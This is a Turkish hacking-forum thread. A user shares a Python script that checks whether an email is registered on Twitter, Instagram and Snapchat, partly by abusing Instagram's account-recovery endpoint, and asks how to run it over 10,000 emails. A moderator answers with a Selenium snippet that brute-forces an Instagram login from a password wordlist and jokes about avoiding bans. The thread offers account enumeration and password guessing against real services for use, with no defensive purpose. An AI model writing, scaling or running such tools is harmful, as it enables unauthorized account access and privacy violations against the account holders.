Python'da TXT içerisinden veri nasıl okurum?

trandey

Üye
1 May 2016
245
0
Kod:
import requests

class ChecK():

    def __init__(self):
        self.email = str(input("Enter Email: "))
        self.twitter()

    def PrintT(self):
        print(f"{self.email} = Linked"+"\n")

    def PrintF(self):
        print(f"{self.email} = Unlinked"+"\n")

    def twitter(self):
        print("==================")
        print("[+] Twitter [+]")
        print("")
        r = requests.Session()
        url = "https://api.twitter.com/i/users/email_available.json?email="+self.email
        user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
        Host = "api.twitter.com"
        Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
        r.headers = {'User-Agent': user_agent}
        r.headers = {'Host': Host}
        r.headers = {'Accept': Accept}
        req = r.get(url).json()
        text = str(req)
        print(text)
        print('')
        if text.find("'valid': False") == True:
            self.PrintT() 
        else:
            self.PrintF()
        self.instagram()

    def instagram(self):
        print("==================")
        print("[+] Instagram [+]")
        print("")
        r = requests.Session()
        url = "https://www.instagram.com/accounts/account_recovery_send_ajax/"
        user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36"
        r.headers = {'user-agent': user_agent}
        r.headers.update({'X-CSRFToken': "missing"})
        data = {"email_or_username":self.email}
        req = r.post(url,data=data)
        print(req.text)
        print('')
        if req.text.find("We sent an self.email to")>=0:
            self.PrintT()
        elif req.text.find("password")>=0:
            self.PrintT()
        elif req.text.find("sent")>=0:
            self.PrintT()
        else:
            self.PrintF()
        self.snacphat()

    def snacphat(self): 
        print("==================")
        print("[+] Snapchat [+]")
        print("")
        r = requests.Session()
        url = "https://accounts.snapchat.com/accounts/merlin/login"
        r.headers = {
        'Host': 'accounts.snapchat.com',
        'Accept': 'application/json, text/plain, */*',
        'Accept-Encoding': 'gzip, deflate, br',
        'X-XSRF-TOKEN': 'missing',
        'Content-Type': 'application/json',
        'Origin': 'https://accounts.snapchat.com',
        'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148',
        'Connection':'keep-alive',
        'Referer': 'https://accounts.snapchat.com/accounts/merlin/login'
        }
        cookies = {
        'xsrf_token':'missing'
        }
        data = {
        'email':self.email,
        'app':'BITMOJI_APP'
        }
        req = r.post(url, cookies=cookies, json=data)
        print(req.text) # If the response is blank, it means Unlinked .
        print('')
        if req.text.find("hasSnapchat") >= 0 :
            self.PrintT()
        else:
            self.PrintF()
        


if __name__ == "__main__":
    print("""

             [-] SocialMediaChecker [-]
        

        """)
    ChecK()


print('')    
print('Press enter to exit .')
input('')
kaynak kodlar bunlar istedigim şey bunu calıstırdıgımda mail adresi girin diyor girdigimde ise hangi uygulamada kayıtlı veya degil onu gösteriyor ama benim elimde 10 bin adet mail oldugu için tek tek giremem bunu toplu olarak txt seklinde nasıl calıstırabılırım
 
Moderatör tarafında düzenlendi:

Napcaz

Katılımcı Üye
28 Nis 2019
767
769
Cudi
bir txt nin içine mailleri yerleştir toplu bir şekilde sonra bunu python dosya okuma metotları ile kafana göre parsel parsel bölersin mis gibi
 

Sort

Deneyimli Moderatör
14 Eki 2019
972
84
Şifreleri Bir Not Defterine Alt Alta Yazın ki Büyük İhtimalle Mailleri Hazır İndirdiniz

Bu Nedenle Mailler Zaten Not Defterinde ve Alt Alta Olacaktır

Pythonda Veri Okumak İçin For Döngüsü Kullanırsınız.

Brute Force Araçları Bu Metot İle Beraber Kullanılır

Aşağıdaki Bir Brute Force Aracından Aldığım Komut Satırını İnceleyebilirsiniz. Aklınıda Yeterli Fikir Olacaktır

Kod:
dosya = open("sifreler.txt", "r") # Şifrelerin kaydedildiği wordlist dosyamızı açtık.
for satir in dosya:
    username.send_keys("instagram kullanıcı adı") # Instagram kullanıcı adı knk.
    password.send_keys(satir) # WordList'teki şifreler. Tek tek denenecek.
    giris.click() # Giriş yap butonuna tıklama komutu knk.
    print("Denenen Şifre: [{}]".format(satir)) # Denenen şifreyi konsola yazdır.

    time.sleep(3) # Şifreler denendikten sonra 3 saniye bekle.

    username.clear() # Username değişkenini sıfırla.
    password.clear() # Password değişkenini sıfırla.

dosya.close() # WordList dosyamızı işlem bitince kapatalım.
time.sleep(10) # 10 Saniye bekleyelim.
browser.close() # WebDriveri sonlandıralım.

Bu Brute Force Aracı Selenium Kütüphanesi İle Kodlandı

Buradaki Username Kısmını Mail Olarak Düşünebilirsiniz

Peki Burada Olay Ne:

Bir Örnek Verelim;

Kod:
for harf in 'Yazılım':
   print ('Sıradaki Harf :', harf)
print()

Burada for harf Dediğimizde harf İsminde Bir Değişken Oluştururuz

harf Değişkeninin Değeride Yazılım Kelimesinin Bölünmüş Halidir.

Örneğin Bu Komutu Çalıştırdığımızda
Sıradaki Harf:Y
Sıradaki Harf:a
Sıradaki Harf:z
Sıraki Harf:ı
Sıradaki Harf:l
Sıradaki Harf:ı
Sıradaki Harf:m

Sonucu Verilecektir Çünkü Print Fonksiyonunu Bilirsiniz

Print İle Sıradaki Harf Yazısını Yaz ve harf Değişkeninin Değerini Yaz Dedik

Böylece Program "Sıradaki Harf"+Herf Harfin Bölünmüş Hali Şeklinde Sonuç Verdi Döngü Halinde

Size Paylaştığım Yukarıdaki Brute Force Komutlarında da Dosya Adında Bir Değişken Oluşturduk

Bu Değişkenine Kendi Listemizi Tanımdakık

Böylece For Döngüsünde Listemizdeki Tüm Satırları Tek Tek Yazmasını İstedik

Böylece Program Her Maili Yazdıktan Sonra Programa Devam Edecek

Mail Geçersiz Olursa Bir Sonraki Maili Yazacak ve Bu Döngü Giriş Yapana Kadar veya Mail Bitene Kadar Devam Edecek

Tabi Ban Yemek Gibi Sorunlar Olmazsa :)

Umarım Anlatabilmişimdir

İyi Forumlar Dilerim :)
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.